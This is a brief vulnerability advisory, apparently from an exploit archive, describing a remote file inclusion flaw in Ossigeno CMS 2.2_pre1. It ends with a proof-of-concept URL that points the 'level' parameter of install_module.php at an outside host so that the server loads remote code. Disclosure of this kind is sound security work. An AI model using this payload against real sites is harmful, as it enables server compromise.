Ossigeno CMS 2.2_pre1 - '/upload/xax/admin/modules/install_module.php?level' Remote File Inclusion

source: https://www.securityfocus.com/bid/26654/info

Ossigeno CMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect Ossigeno CMS 2.2_pre1; other versions may also be vulnerable. 

http://www.example.com/upload/xax/admin/modules/install_module.php?level=http://www.example2.com